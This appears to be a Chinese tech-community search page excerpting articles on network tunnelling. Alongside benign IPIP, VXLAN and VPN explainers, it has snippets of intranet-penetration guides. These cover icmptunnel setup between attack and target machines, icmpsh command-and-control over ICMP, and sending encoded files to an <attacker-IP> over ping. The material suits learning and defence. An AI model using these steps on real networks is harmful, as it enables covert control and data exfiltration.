首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

内网学习笔记 | 6、ICMP隧道工具使用

1、介绍 在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道,ICMP 协议最常见的场景就是使用 ping 命令,而且一般防火墙都不会禁止 ping.../icmptunnel -s # 开启服务端模式 在攻击机上新开启一个终端运行: /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 # 指定一个网卡...tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.1) 在目标机上运行: echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all ..../icmptunnel 172.16.214.6 在目标机上新开启一个终端运行: /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 # 指定一个网卡...tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.2) 至此,已经通过 ICMP 建立了一个点对点隧道

1.5K50
您找到你想要的搜索结果了吗?
是的
没有找到

什么是 IP 隧道Linux 怎么实现隧道通信?

IP 隧道 Linux 原生支持多种三层隧道,其底层实现原理都是基于 tun 设备。我们可以通过命令 ip tunnel help 查看 IP 隧道的相关操作。...inherit/00..ff } TTL := { 1..255 | inherit } KEY := { DOTTED_QUAD | NUMBER } 可以看到,Linux...实践 IPIP 隧道 我们下面以 ipip 作为例子,来实践下 Linux隧道通信。本文以前文的 Linux 路由机制作为基础,不清楚 Linux 路由的可以先翻看下那篇文章再来看。...5、Linux 打开了 ip_forward,相当于一台路由器,10.10.10.0 和 10.10.20.0 是两条直连路由,所以直接查表转发,从 NS1 过渡到 NS2。...总结 现在的 Linux 内核原生支持 5 种隧道协议,它们底层实现都是采用 tun 虚拟设备。 我们熟知的各种 V** 软件,其底层实现都离不开这 5 种隧道协议。

7.3K30

☀️苏州程序大白解析Linux 中的虚拟网络接口☀️《❤️记得收藏❤️》

bridge Linux Bridge 是工作在链路层的网络交换机,由 Linux 内核模块 brige 提供,它负责在所有连接到它的接口之间转发链路层数据包。...其实就是一种隧道技术,将原生态的二层数据帧报文进行封装后通过隧道进行传输。 vxlan 与 geneve 都是 overlay 网络协议,它俩都是使用 UDP 包来封装链路层的以太网帧。...有了上面这些知识,我们就可以通过如下命令在两台 Linux 机器间建立一个点对点的 VXLAN 隧道: # 在主机 A 上创建 VTEP 设备 vxlan0 # 与另一个 vtep 接口 B(192.168.8.101...ping 10.20.1.2 点对点的 vxlan 隧道实际用处不大,如果集群中的每个节点都互相建 vxlan 隧道,代价太高了。...一种更好的方式,是使用 「组播模式」的 vxlan 隧道,这种模式下一个 vtep 可以一次与组内的所有 vtep 建立隧道

2K10

openshift pod对外访问网络解析

ovs流表在处理时有如下规则: table 0: 根据输入端口(in_port)做入口分流,来自VXLAN隧道的流量转到表10并将其VXLAN VNI 保存到 OVS 中供后续使用,从tun0过阿里的(...来自本节点或进本节点来做转发的)流量分流到表30,将剩下的即本节点的容器(来自veth***)发出的流量转到表20; table 10: 做入口合法性检查,如果隧道的远端IP(tun_src)是某集群节点的...IP,并从隧道发出; table 60: Service的转发处理,根据目标Service,设置目标项目标记和转发出口标记,转发到table 80去处理; table 70: 对访问本地容器的包,做本地...IP,并从隧道发出; table 100: 做出外网的转出处理,将数据包从tun0发出。...developerworks/cn/cloud/library/1401_zhaoyi_openswitch/index.html https://www.ibm.com/developerworks/cn/linux

1K10

利用ICMP进行命令控制和隧道传输

环境要求 攻击机/C2通道:192.168.1.108(Kali Linux) 宿主机:192.168.1.106(Windows 10) icmpsh:C2通道与安装方法 icmpsh是一个简单的ICMP...以主模式运行icmpsh(Kali Linux) 下载完成之后,使用以下命令来运行主控端。执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。...ICMP隧道搭建 ICMP隧道是指将TCP连接通过ICMP包进行隧道传送的一种方法。在此我们会获取一个被封装到ICMP包中的ssh会话。...环境要求 服务端机器: ens33:192.168.1.108 tun0:10.0.0.1 客户端机器: eth0: 192.168.1.111 tun0:10.0.0.2 icmptunnel是一个将...通过ICMP连接SSH 到这里应该通过ICMP包建立了一个点对点隧道。服务端的隧道IP是10.0.0.1,客户端的隧道IP是10.0.0.2。

1.5K21

Linux网络隧道协议IPIP认知(基于Linux network namespace 的 IPIP 隧道通信)

写在前面 博文内容为 Linux 隧道通信 IPIP认知 内容涉及:ipip 介绍,一个 ipip 通信 Demo 以及数据帧流转分析 理解不足小伙伴帮忙指正 某些人和事,哪怕没有缘分,是路边的风景,可是只要看一眼...隧道技术。...下面我们以ipip为例,介绍Linux隧道通信的基本原理。...注:Linux L3隧道底层实现原理都基于tun设备 ipip隧道通信 Demo 应为只有一台机器,所以这里我们通过 Linux 上的两个 network namespace 来模拟两个机器节点,每个...ipip隧道网络拓扑如图 这里我们用两个 Linux network namespace 来模拟 ,创建两个网络命名空间,同时配置两个 veth pair,一端放到命名空间 liruilonger@cloudshell

27010

tun设备的妙用-V**篇

如图1所示,发往tun0的数据被转发到了V**程序,而普通的eth0设备则将会将其送往这个网卡所连着的另一个设备。...首先它也归内核的网络设备子系统管理,对于Linux内核网络设备管理模块来说,虚拟设备和物理设备没有区别,都是网络设备,都能配置IP,从网络设备来的数据,都会转发给协议栈,协议栈过来的数据,也会交由网络设备发送出去...隧道协议 聊完了tun设备,我们再来看看隧道协议。在文章《当vpc遇到K8s overlay》里,二哥借助刘超在《趣谈网络协议》中所举的从广州自驾海南游的一个例子来解释所谓隧道协议的概念。...如图2所示,隧道协议分为三部分:乘客协议、隧道协议和承载协议。 图 2:隧道协议示意图 从广州出发自驾游海南,你的车怎么通过琼州海峡呢?得用轮渡,其实这就是隧道协议。...我们大致可以想象得出从tun0接收到数据,再次穿过IP层(以及路由表)和传输层,并最终达到浏览器的场景。 写完这篇,二哥不禁再次感慨网络模型分层设计模式的强大之处。

1.4K20

内网基础-隐藏通信隧道技术

常用隧道分类 根据不同层的网络协议,大致分为以下几种常用的隧道: 2.1 应用层 ssh隧道 http(https)隧道 dns隧道 2.2 传输层 tcp隧道 udp隧道 常规端口转发 2.3 网络层...vps作为dns服务器解析域名 Windows Nslookup baidu.com vps Linux dig@vps Baidu.com 4.搭建隧道实战 4.1 搭建ipv6隧道 前提:支持ipv6.../icmptunnel -s#以服务端启动 /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #配置一个ip 客户端配置: ..../icmptunnel 192.168.75.131(服务端ip) /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #配置一个ip 那么就可以隧道进行通信了...下载对应的客户端,因为我这里下载的服务端为linux_amd64,则下载windows_amd64 运行命令可以看到连接成功。

1.9K30

tun设备的妙用-VPN篇

如图1所示,发往tun0的数据被转发到了VPN程序,而普通的eth0设备则将会将其送往这个网卡所连着的另一个设备。...首先它也归内核的网络设备子系统管理,对于Linux内核网络设备管理模块来说,虚拟设备和物理设备没有区别,都是网络设备,都能配置IP,从网络设备来的数据,都会转发给协议栈,协议栈过来的数据,也会交由网络设备发送出去...隧道协议 ---- 聊完了tun设备,我们再来看看隧道协议。在文章《当vpc遇到K8s overlay》里,二哥借助刘超在《趣谈网络协议》中所举的从广州自驾海南游的一个例子来解释所谓隧道协议的概念。...如图2所示,隧道协议分为三部分:乘客协议、隧道协议和承载协议。 图 2:隧道协议示意图 从广州出发自驾游海南,你的车怎么通过琼州海峡呢?得用轮渡,其实这就是隧道协议。...我们大致可以想象得出从tun0接收到数据,再次穿过IP层(以及路由表)和传输层,并最终达到浏览器的场景。 写完这篇,二哥不禁再次感慨网络模型分层设计模式的强大之处。

5K41

内网穿透 隧道_ping隧道

目录 前言 一、概述 1、简介 2、原理 3、使用 (1)服务端 (2)客户端 二、实践 1、场景 2、建立隧道 (1)攻击机监听 (2)目标机发送 (3)攻击机转换 3、抓包看看...:内网渗透系列:内网隧道之ICMP隧道 3、使用 (1)服务端 tucpdump监听并下载文件 sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo.../tran.sh (2)客户端 windows icmp_tran.exe linux sudo python icmp_tran.py <attacker-IP...os.system("certutil -encode "+ file +" test.txt") # windows os.system("base64 "+ file +" > test.txt") # linux...payload内容 payload内容这个还是没办法避免的事情 正常ping命令: windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes linux

1.3K20
领券